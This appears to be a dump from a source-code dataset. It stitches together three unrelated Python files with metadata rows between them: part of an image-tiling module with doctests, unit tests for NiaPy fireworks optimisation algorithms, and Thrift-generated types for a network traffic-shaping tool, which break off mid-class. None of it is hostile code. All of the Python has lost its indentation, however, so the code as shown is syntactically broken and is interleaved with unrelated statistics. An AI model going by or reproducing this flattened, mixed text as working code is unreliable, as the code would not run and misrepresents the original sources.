[37, 36, 35, 36, 37, 38, 39, 38, 37, 36],
[32, 31, 30, 31, 32, 33, 34, 33, 32, 31]],
<BLANKLINE>
[[62, 61, 60, 61, 62, 63, 64, 63, 62, 61],
[57, 56, 55, 56, 57, 58, 59, 58, 57, 56],
[52, 51, 50, 51, 52, 53, 54, 53, 52, 51],
[57, 56, 55, 56, 57, 58, 59, 58, 57, 56],
[62, 61, 60, 61, 62, 63, 64, 63, 62, 61],
[67, 66, 65, 66, 67, 68, 69, 68, 67, 66],
[72, 71, 70, 71, 72, 73, 74, 73, 72, 71],
[67, 66, 65, 66, 67, 68, 69, 68, 67, 66],
[62, 61, 60, 61, 62, 63, 64, 63, 62, 61],
[57, 56, 55, 56, 57, 58, 59, 58, 57, 56]]]])
>>> [tile for tile in make_tile_indexes(image_shape, tile_shape)]
[(slice(None, None, None), slice(None, None, None), slice(0, 2, None), slice(0, 2, None)), (slice(None, None, None), slice(None, None, None), slice(0, 2, None), slice(1, 3, None)), (slice(None, None, None), slice(None, None, None), slice(0, 2, None), slice(2, 4, None)), (slice(None, None, None), slice(None, None, None), slice(0, 2, None), slice(3, 5, None)), (slice(None, None, None), slice(None, None, None), slice(0, 2, None), slice(4, 6, None)), (slice(None, None, None), slice(None, None, None), slice(1, 3, None), slice(0, 2, None)), (slice(None, None, None), slice(None, None, None), slice(1, 3, None), slice(1, 3, None)), (slice(None, None, None), slice(None, None, None), slice(1, 3, None), slice(2, 4, None)), (slice(None, None, None), slice(None, None, None), slice(1, 3, None), slice(3, 5, None)), (slice(None, None, None), slice(None, None, None), slice(1, 3, None), slice(4, 6, None)), (slice(None, None, None), slice(None, None, None), slice(2, 4, None), slice(0, 2, None)), (slice(None, None, None), slice(None, None, None), slice(2, 4, None), slice(1, 3, None)), (slice(None, None, None), slice(None, None, None), slice(2, 4, None), slice(2, 4, None)), (slice(None, None, None), slice(None, None, None), slice(2, 4, None), slice(3, 5, None)), (slice(None, None, None), slice(None, None, None), slice(2, 4, None), slice(4, 6, None)), (slice(None, None, None), slice(None, None, None), slice(3, 5, None), slice(0, 2, None)), (slice(None, None, None), slice(None, None, None), slice(3, 5, None), slice(1, 3, None)), (slice(None, None, None), slice(None, None, None), slice(3, 5, None), slice(2, 4, None)), (slice(None, None, None), slice(None, None, None), slice(3, 5, None), slice(3, 5, None)), (slice(None, None, None), slice(None, None, None), slice(3, 5, None), slice(4, 6, None))]
>>> [tile for tile in make_tile_indexes(image_shape, tile_shape_4x4)]
[(slice(None, None, None), slice(None, None, None), slice(0, 4, None), slice(0, 4, None)), (slice(None, None, None), slice(None, None, None), slice(0, 4, None), slice(2, 6, None)), (slice(None, None, None), slice(None, None, None), slice(0, 4, None), slice(4, 8, None)), (slice(None, None, None), slice(None, None, None), slice(2, 6, None), slice(0, 4, None)), (slice(None, None, None), slice(None, None, None), slice(2, 6, None), slice(2, 6, None)), (slice(None, None, None), slice(None, None, None), slice(2, 6, None), slice(4, 8, None)), (slice(None, None, None), slice(None, None, None), slice(4, 8, None), slice(0, 4, None)), (slice(None, None, None), slice(None, None, None), slice(4, 8, None), slice(2, 6, None)), (slice(None, None, None), slice(None, None, None), slice(4, 8, None), slice(4, 8, None))]
>>> [tile for tile in make_tiles(np.arange(3*4).reshape(1, 3, 2, 2), tile_shape)]
[array([[[[ 3, 2],
[ 1, 0]],
<BLANKLINE>
[[ 7, 6],
[ 5, 4]],
<BLANKLINE>
[[11, 10],
[ 9, 8]]]]), array([[[[ 2, 3],
[ 0, 1]],
<BLANKLINE>
[[ 6, 7],
[ 4, 5]],
<BLANKLINE>
[[10, 11],
[ 8, 9]]]]), array([[[[ 3, 2],
[ 1, 0]],
<BLANKLINE>
[[ 7, 6],
[ 5, 4]],
<BLANKLINE>
[[11, 10],
[ 9, 8]]]]), array([[[[ 1, 0],
[ 3, 2]],
<BLANKLINE>
[[ 5, 4],
[ 7, 6]],
<BLANKLINE>
[[ 9, 8],
[11, 10]]]]), array([[[[ 0, 1],
[ 2, 3]],
<BLANKLINE>
[[ 4, 5],
[ 6, 7]],
<BLANKLINE>
[[ 8, 9],
[10, 11]]]]), array([[[[ 1, 0],
[ 3, 2]],
<BLANKLINE>
[[ 5, 4],
[ 7, 6]],
<BLANKLINE>
[[ 9, 8],
[11, 10]]]]), array([[[[ 3, 2],
[ 1, 0]],
<BLANKLINE>
[[ 7, 6],
[ 5, 4]],
<BLANKLINE>
[[11, 10],
[ 9, 8]]]]), array([[[[ 2, 3],
[ 0, 1]],
<BLANKLINE>
[[ 6, 7],
[ 4, 5]],
<BLANKLINE>
[[10, 11],
[ 8, 9]]]]), array([[[[ 3, 2],
[ 1, 0]],
<BLANKLINE>
[[ 7, 6],
[ 5, 4]],
<BLANKLINE>
[[11, 10],
[ 9, 8]]]])]
>>> canvas_shape(image_shape, (1, 3, 100, 100))
(1, 3, 150, 150)
>>> [tile for tile in make_tile_indexes(image_shape, (1, 3, 100, 100))]
[(slice(None, None, None), slice(None, None, None), slice(0, 100, None), slice(0, 100, None)), (slice(None, None, None), slice(None, None, None), slice(0, 100, None), slice(50, 150, None)), (slice(None, None, None), slice(None, None, None), slice(50, 150, None), slice(0, 100, None)), (slice(None, None, None), slice(None, None, None), slice(50, 150, None), slice(50, 150, None))]
"""
import numpy as np
# given an image shape and a tile shape, compute the resulting canvas shape, with enough padding so that a fixed-size
# tile will cover every original pixel
def canvas_shape(image_shape, tile_shape):
rows = image_shape[2] + tile_shape[2] + (tile_shape[2] // 2 - image_shape[2]) % (tile_shape[2] // 2)
cols = image_shape[3] + tile_shape[3] + (tile_shape[3] // 2 - image_shape[3]) % (tile_shape[3] // 2)
return (
image_shape[0],
image_shape[1],
rows,
cols
)
# create a mirror padding image, given an image, left, top, right, bottom padding
def pad_image(image, pad_width):
return np.pad(image, pad_width, 'reflect')
def pad_width_for_tiling(image_shape, tile_shape):
"""
>>> pad_width_for_tiling((1, 3, 3, 4), (1, 3, 2, 2))
((0, 0), (0, 0), (1, 1), (1, 1))
>>> pad_width_for_tiling((1, 3, 3, 4), (1, 3, 4, 4))
((0, 0), (0, 0), (2, 3), (2, 2))
>>> pad_width_for_tiling((1, 3, 3, 5), (1, 3, 4, 4))
((0, 0), (0, 0), (2, 3), (2, 3))
>>> pad_width_for_tiling((1, 3, 5, 5), (1, 3, 4, 4))
((0, 0), (0, 0), (2, 3), (2, 3))
"""
# if image_shape[2] <= tile_shape[2]:
# rows_pad = (0, (tile_shape[2] - image_shape[2]))
# else:
# rows_pad = (tile_shape[2] // 2, tile_shape[2] // 2 + (tile_shape[2] // 2 - image_shape[2]) % (tile_shape[2] // 2))
#
# if image_shape[3] <= tile_shape[3]:
# cols_pad = (0, (tile_shape[3] - image_shape[3]))
# else:
# cols_pad = (tile_shape[3] // 2, tile_shape[3] // 2 + (tile_shape[3] // 2 - image_shape[3]) % (tile_shape[3] // 2))
rows_pad = (tile_shape[2] // 2, tile_shape[2] // 2 + (tile_shape[2] // 2 - image_shape[2]) % (tile_shape[2] // 2))
cols_pad = (tile_shape[3] // 2, tile_shape[3] // 2 + (tile_shape[3] // 2 - image_shape[3]) % (tile_shape[3] // 2))
return (
(0, 0),
(0, 0),
rows_pad,
cols_pad
)
def pad_image_for_tiling(image, tile_shape):
pad_width = pad_width_for_tiling(image.shape, tile_shape)
return pad_image(image, pad_width)
# create tiles
def make_tile_indexes(image_shape, tile_shape):
cs = canvas_shape(image_shape, tile_shape)
for x in make_tile_indexes_from_canvas(cs, tile_shape):
yield x
def make_tile_indexes_from_canvas(cs, tile_shape, offset=(0, 0)):
# loop over rows
cur_row = offset[0]
while cur_row < cs[2] - tile_shape[2] // 2:
# loop over columns
cur_col = offset[1]
while cur_col < cs[3] - tile_shape[3] // 2:
yield (slice(None, None, None), slice(None, None, None), slice(cur_row, cur_row + tile_shape[2]), slice(cur_col, cur_col + tile_shape[3]))
cur_col += tile_shape[3] // 2
cur_row += tile_shape[2] // 2
def make_tiles(image, tile_shape):
canvas = pad_image_for_tiling(image, tile_shape)
for tile_ix in make_tile_indexes(image.shape, tile_shape):
yield canvas[tile_ix]
def make_tiles_from_canvas(canvas, tile_shape, offset=(0, 0)):
for tile_ix in make_tile_indexes_from_canvas(canvas.shape, tile_shape, offset):
yield canvas[tile_ix]
def make_img_idx_from_canvas(image_shape, tile_shape):
pad_width = pad_width_for_tiling(image_shape, tile_shape)
return (slice(None), slice(None), slice(pad_width[2][0], image_shape[2] + pad_width[2][0]), slice(pad_width[3][0], image_shape[3] + pad_width[3][0]))
if __name__ == '__main__':
import doctest
result = doctest.testmod()
if result.failed > 0:
print "Failed:", result
import sys
sys.exit(1)
else:
print "Success:", result
| 42.269795 | 1,800 | 0.474677 | 2,447 | 14,414 | 2.710666 | 0.066204 | 0.164028 | 0.133273 | 0.17428 | 0.81788 | 0.77235 | 0.688678 | 0.654455 | 0.623398 | 0.60983 | 0 | 0.21263 | 0.296864 | 14,414 | 340 | 1,801 | 42.394118 | 0.441835 | 0.04898 | 0 | 0.109091 | 0 | 0 | 0.011891 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.054545 | null | null | 0.036364 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
6948813a715ad2c0b8e1c13e689a4c140dd0c9b6 | 3,376 | py | Python | NiaPy/tests/test_fwa.py | lukapecnik/NiaPy | a40ac08a4c06a13019ec5e39cc137461884928b0 | [
"MIT"
] | 1 | 2020-03-16T11:15:43.000Z | 2020-03-16T11:15:43.000Z | NiaPy/tests/test_fwa.py | lukapecnik/NiaPy | a40ac08a4c06a13019ec5e39cc137461884928b0 | [
"MIT"
] | null | null | null | NiaPy/tests/test_fwa.py | lukapecnik/NiaPy | a40ac08a4c06a13019ec5e39cc137461884928b0 | [
"MIT"
] | 1 | 2020-03-25T16:20:36.000Z | 2020-03-25T16:20:36.000Z | # encoding=utf8
# pylint: disable=mixed-indentation, multiple-statements, line-too-long
from NiaPy.tests.test_algorithm import AlgorithmTestCase, MyBenchmark
from NiaPy.algorithms.basic import BareBonesFireworksAlgorithm, FireworksAlgorithm, EnhancedFireworksAlgorithm, DynamicFireworksAlgorithm, DynamicFireworksAlgorithmGauss
class BBFWATestCase(AlgorithmTestCase):
def test_custom_works_fine(self):
bbfwa_custom = BareBonesFireworksAlgorithm(n=10, C_a=2, C_r=0.5, seed=self.seed)
bbfwa_customc = BareBonesFireworksAlgorithm(n=10, C_a=2, C_r=0.5, seed=self.seed)
AlgorithmTestCase.algorithm_run_test(self, bbfwa_custom, bbfwa_customc, MyBenchmark())
def test_griewank_works_fine(self):
bbfwa_griewank = BareBonesFireworksAlgorithm(n=10, C_a=5, C_r=0.5, seed=self.seed)
bbfwa_griewankc = BareBonesFireworksAlgorithm(n=10, C_a=5, C_r=0.5, seed=self.seed)
AlgorithmTestCase.algorithm_run_test(self, bbfwa_griewank, bbfwa_griewankc)
class FWATestCase(AlgorithmTestCase):
def test_custom_works_fine(self):
fwa_custom = FireworksAlgorithm(n=10, C_a=2, C_r=0.5, seed=self.seed)
fwa_customc = FireworksAlgorithm(n=10, C_a=2, C_r=0.5, seed=self.seed)
AlgorithmTestCase.algorithm_run_test(self, fwa_custom, fwa_customc, MyBenchmark())
def test_griewank_works_fine(self):
fwa_griewank = FireworksAlgorithm(n=10, C_a=5, C_r=0.5, seed=self.seed)
fwa_griewankc = FireworksAlgorithm(n=10, C_a=5, C_r=0.5, seed=self.seed)
AlgorithmTestCase.algorithm_run_test(self, fwa_griewank, fwa_griewankc)
class EFWATestCase(AlgorithmTestCase):
def test_custom_works_fine(self):
fwa_custom = EnhancedFireworksAlgorithm(n=10, C_a=2, C_r=0.5, seed=self.seed)
fwa_customc = EnhancedFireworksAlgorithm(n=10, C_a=2, C_r=0.5, seed=self.seed)
AlgorithmTestCase.algorithm_run_test(self, fwa_custom, fwa_customc, MyBenchmark())
def test_griewank_works_fine(self):
fwa_griewank = EnhancedFireworksAlgorithm(n=10, C_a=5, C_r=0.5, seed=self.seed)
fwa_griewankc = EnhancedFireworksAlgorithm(n=10, C_a=5, C_r=0.5, seed=self.seed)
AlgorithmTestCase.algorithm_run_test(self, fwa_griewank, fwa_griewankc)
class DFWATestCase(AlgorithmTestCase):
def test_custom_works_fine(self):
fwa_custom = DynamicFireworksAlgorithm(n=10, C_a=2, C_r=0.5, seed=self.seed)
fwa_customc = DynamicFireworksAlgorithm(n=10, C_a=2, C_r=0.5, seed=self.seed)
AlgorithmTestCase.algorithm_run_test(self, fwa_custom, fwa_customc, MyBenchmark())
def test_griewank_works_fine(self):
fwa_griewank = DynamicFireworksAlgorithm(n=10, C_a=5, C_r=0.5, seed=self.seed)
fwa_griewankc = DynamicFireworksAlgorithm(n=10, C_a=5, C_r=0.5, seed=self.seed)
AlgorithmTestCase.algorithm_run_test(self, fwa_griewank, fwa_griewankc)
class DFWAGTestCase(AlgorithmTestCase):
def test_custom_works_fine(self):
fwa_custom = DynamicFireworksAlgorithmGauss(n=10, C_a=2, C_r=0.5, seed=self.seed)
fwa_customc = DynamicFireworksAlgorithmGauss(n=10, C_a=2, C_r=0.5, seed=self.seed)
AlgorithmTestCase.algorithm_run_test(self, fwa_custom, fwa_customc, MyBenchmark())
def test_griewank_works_fine(self):
fwa_griewank = DynamicFireworksAlgorithmGauss(n=10, C_a=5, C_r=0.5, seed=self.seed)
fwa_griewankc = DynamicFireworksAlgorithmGauss(n=10, C_a=5, C_r=0.5, seed=self.seed)
AlgorithmTestCase.algorithm_run_test(self, fwa_griewank, fwa_griewankc)
# vim: tabstop=3 noexpandtab shiftwidth=3 softtabstop=3
| 54.451613 | 169 | 0.802429 | 507 | 3,376 | 5.084813 | 0.114398 | 0.023274 | 0.031032 | 0.03879 | 0.815361 | 0.815361 | 0.815361 | 0.798681 | 0.776959 | 0.696276 | 0 | 0.033722 | 0.086493 | 3,376 | 61 | 170 | 55.344262 | 0.802205 | 0.040581 | 0 | 0.382979 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.212766 | false | 0 | 0.042553 | 0 | 0.361702 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c6206a390c3a7a6578e0e78d48c9962b0cc87b6a | 40,076 | py | Python | atc/atc_thrift/atc_thrift/ttypes.py | KeleiAzz/augmented-traffic-control | 575720854de4f609b6209028857ec8d81efcf654 | [
"BSD-3-Clause"
] | 4,319 | 2015-03-23T16:06:20.000Z | 2018-10-29T02:02:24.000Z | atc/atc_thrift/atc_thrift/ttypes.py | sammylp/augmented-traffic-control | 575720854de4f609b6209028857ec8d81efcf654 | [
"BSD-3-Clause"
] | 249 | 2015-03-23T23:03:12.000Z | 2018-10-24T10:46:07.000Z | atc/atc_thrift/atc_thrift/ttypes.py | sammylp/augmented-traffic-control | 575720854de4f609b6209028857ec8d81efcf654 | [
"BSD-3-Clause"
] | 643 | 2015-03-23T16:35:00.000Z | 2018-10-26T09:55:54.000Z | #
# Autogenerated by Thrift Compiler (0.9.1)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
# options string: py:new_style
#
from thrift.Thrift import TType, TMessageType, TException, TApplicationException
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol, TProtocol
try:
from thrift.protocol import fastbinary
except:
fastbinary = None
class ReturnCode(object):
OK = 0
INVALID_IP = 1
INVALID_TIMEOUT = 2
ID_EXHAUST = 3
NETLINK_ERROR = 4
UNKNOWN_ERROR = 5
NETLINK_HTB_ERROR = 6
UNKNOWN_HTB_ERROR = 7
NETLINK_NETEM_ERROR = 8
UNKNOWN_NETEM_ERROR = 9
NETLINK_FW_ERROR = 10
UNKNOWN_FW_ERROR = 11
UNKNOWN_SESSION = 12
UNKNOWN_IP = 13
ACCESS_DENIED = 14
_VALUES_TO_NAMES = {
0: "OK",
1: "INVALID_IP",
2: "INVALID_TIMEOUT",
3: "ID_EXHAUST",
4: "NETLINK_ERROR",
5: "UNKNOWN_ERROR",
6: "NETLINK_HTB_ERROR",
7: "UNKNOWN_HTB_ERROR",
8: "NETLINK_NETEM_ERROR",
9: "UNKNOWN_NETEM_ERROR",
10: "NETLINK_FW_ERROR",
11: "UNKNOWN_FW_ERROR",
12: "UNKNOWN_SESSION",
13: "UNKNOWN_IP",
14: "ACCESS_DENIED",
}
_NAMES_TO_VALUES = {
"OK": 0,
"INVALID_IP": 1,
"INVALID_TIMEOUT": 2,
"ID_EXHAUST": 3,
"NETLINK_ERROR": 4,
"UNKNOWN_ERROR": 5,
"NETLINK_HTB_ERROR": 6,
"UNKNOWN_HTB_ERROR": 7,
"NETLINK_NETEM_ERROR": 8,
"UNKNOWN_NETEM_ERROR": 9,
"NETLINK_FW_ERROR": 10,
"UNKNOWN_FW_ERROR": 11,
"UNKNOWN_SESSION": 12,
"UNKNOWN_IP": 13,
"ACCESS_DENIED": 14,
}
class Delay(object):
"""
Attributes:
- delay
- jitter
- correlation
"""
thrift_spec = (
None, # 0
(1, TType.I32, 'delay', None, None, ), # 1
(2, TType.I32, 'jitter', None, 0, ), # 2
(3, TType.DOUBLE, 'correlation', None, 0, ), # 3
)
def __init__(self, delay=None, jitter=thrift_spec[2][4], correlation=thrift_spec[3][4],):
self.delay = delay
self.jitter = jitter
self.correlation = correlation
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.I32:
self.delay = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.jitter = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.DOUBLE:
self.correlation = iprot.readDouble();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Delay')
if self.delay is not None:
oprot.writeFieldBegin('delay', TType.I32, 1)
oprot.writeI32(self.delay)
oprot.writeFieldEnd()
if self.jitter is not None:
oprot.writeFieldBegin('jitter', TType.I32, 2)
oprot.writeI32(self.jitter)
oprot.writeFieldEnd()
if self.correlation is not None:
oprot.writeFieldBegin('correlation', TType.DOUBLE, 3)
oprot.writeDouble(self.correlation)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class Loss(object):
"""
Attributes:
- percentage
- correlation
"""
thrift_spec = (
None, # 0
(1, TType.DOUBLE, 'percentage', None, None, ), # 1
(2, TType.DOUBLE, 'correlation', None, 0, ), # 2
)
def __init__(self, percentage=None, correlation=thrift_spec[2][4],):
self.percentage = percentage
self.correlation = correlation
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.DOUBLE:
self.percentage = iprot.readDouble();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.DOUBLE:
self.correlation = iprot.readDouble();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Loss')
if self.percentage is not None:
oprot.writeFieldBegin('percentage', TType.DOUBLE, 1)
oprot.writeDouble(self.percentage)
oprot.writeFieldEnd()
if self.correlation is not None:
oprot.writeFieldBegin('correlation', TType.DOUBLE, 2)
oprot.writeDouble(self.correlation)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class Reorder(object):
"""
Attributes:
- percentage
- gap
- correlation
"""
thrift_spec = (
None, # 0
(1, TType.DOUBLE, 'percentage', None, None, ), # 1
(2, TType.I32, 'gap', None, 0, ), # 2
(3, TType.DOUBLE, 'correlation', None, 0, ), # 3
)
def __init__(self, percentage=None, gap=thrift_spec[2][4], correlation=thrift_spec[3][4],):
self.percentage = percentage
self.gap = gap
self.correlation = correlation
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.DOUBLE:
self.percentage = iprot.readDouble();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.gap = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.DOUBLE:
self.correlation = iprot.readDouble();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Reorder')
if self.percentage is not None:
oprot.writeFieldBegin('percentage', TType.DOUBLE, 1)
oprot.writeDouble(self.percentage)
oprot.writeFieldEnd()
if self.gap is not None:
oprot.writeFieldBegin('gap', TType.I32, 2)
oprot.writeI32(self.gap)
oprot.writeFieldEnd()
if self.correlation is not None:
oprot.writeFieldBegin('correlation', TType.DOUBLE, 3)
oprot.writeDouble(self.correlation)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class Corruption(object):
"""
Attributes:
- percentage
- correlation
"""
thrift_spec = (
None, # 0
(1, TType.DOUBLE, 'percentage', None, 0, ), # 1
(2, TType.DOUBLE, 'correlation', None, 0, ), # 2
)
def __init__(self, percentage=thrift_spec[1][4], correlation=thrift_spec[2][4],):
self.percentage = percentage
self.correlation = correlation
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.DOUBLE:
self.percentage = iprot.readDouble();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.DOUBLE:
self.correlation = iprot.readDouble();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Corruption')
if self.percentage is not None:
oprot.writeFieldBegin('percentage', TType.DOUBLE, 1)
oprot.writeDouble(self.percentage)
oprot.writeFieldEnd()
if self.correlation is not None:
oprot.writeFieldBegin('correlation', TType.DOUBLE, 2)
oprot.writeDouble(self.correlation)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class Shaping(object):
"""
Attributes:
- rate
- delay
- loss
- reorder
- corruption
- iptables_options
"""
thrift_spec = (
None, # 0
(1, TType.I32, 'rate', None, None, ), # 1
(2, TType.STRUCT, 'delay', (Delay, Delay.thrift_spec), Delay(**{
"delay" : 0,
}), ), # 2
(3, TType.STRUCT, 'loss', (Loss, Loss.thrift_spec), Loss(**{
"percentage" : 0,
}), ), # 3
(4, TType.STRUCT, 'reorder', (Reorder, Reorder.thrift_spec), Reorder(**{
"percentage" : 0,
}), ), # 4
(5, TType.STRUCT, 'corruption', (Corruption, Corruption.thrift_spec), Corruption(**{
"percentage" : 0,
}), ), # 5
(6, TType.LIST, 'iptables_options', (TType.STRING,None), None, ), # 6
)
def __init__(self, rate=None, delay=thrift_spec[2][4], loss=thrift_spec[3][4], reorder=thrift_spec[4][4], corruption=thrift_spec[5][4], iptables_options=None,):
self.rate = rate
if delay is self.thrift_spec[2][4]:
delay = Delay(**{
"delay" : 0,
})
self.delay = delay
if loss is self.thrift_spec[3][4]:
loss = Loss(**{
"percentage" : 0,
})
self.loss = loss
if reorder is self.thrift_spec[4][4]:
reorder = Reorder(**{
"percentage" : 0,
})
self.reorder = reorder
if corruption is self.thrift_spec[5][4]:
corruption = Corruption(**{
"percentage" : 0,
})
self.corruption = corruption
self.iptables_options = iptables_options
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.I32:
self.rate = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRUCT:
self.delay = Delay()
self.delay.read(iprot)
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRUCT:
self.loss = Loss()
self.loss.read(iprot)
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.STRUCT:
self.reorder = Reorder()
self.reorder.read(iprot)
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.STRUCT:
self.corruption = Corruption()
self.corruption.read(iprot)
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.LIST:
self.iptables_options = []
(_etype3, _size0) = iprot.readListBegin()
for _i4 in xrange(_size0):
_elem5 = iprot.readString();
self.iptables_options.append(_elem5)
iprot.readListEnd()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Shaping')
if self.rate is not None:
oprot.writeFieldBegin('rate', TType.I32, 1)
oprot.writeI32(self.rate)
oprot.writeFieldEnd()
if self.delay is not None:
oprot.writeFieldBegin('delay', TType.STRUCT, 2)
self.delay.write(oprot)
oprot.writeFieldEnd()
if self.loss is not None:
oprot.writeFieldBegin('loss', TType.STRUCT, 3)
self.loss.write(oprot)
oprot.writeFieldEnd()
if self.reorder is not None:
oprot.writeFieldBegin('reorder', TType.STRUCT, 4)
self.reorder.write(oprot)
oprot.writeFieldEnd()
if self.corruption is not None:
oprot.writeFieldBegin('corruption', TType.STRUCT, 5)
self.corruption.write(oprot)
oprot.writeFieldEnd()
if self.iptables_options is not None:
oprot.writeFieldBegin('iptables_options', TType.LIST, 6)
oprot.writeListBegin(TType.STRING, len(self.iptables_options))
for iter6 in self.iptables_options:
oprot.writeString(iter6)
oprot.writeListEnd()
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class TrafficControlSetting(object):
"""
Attributes:
- up
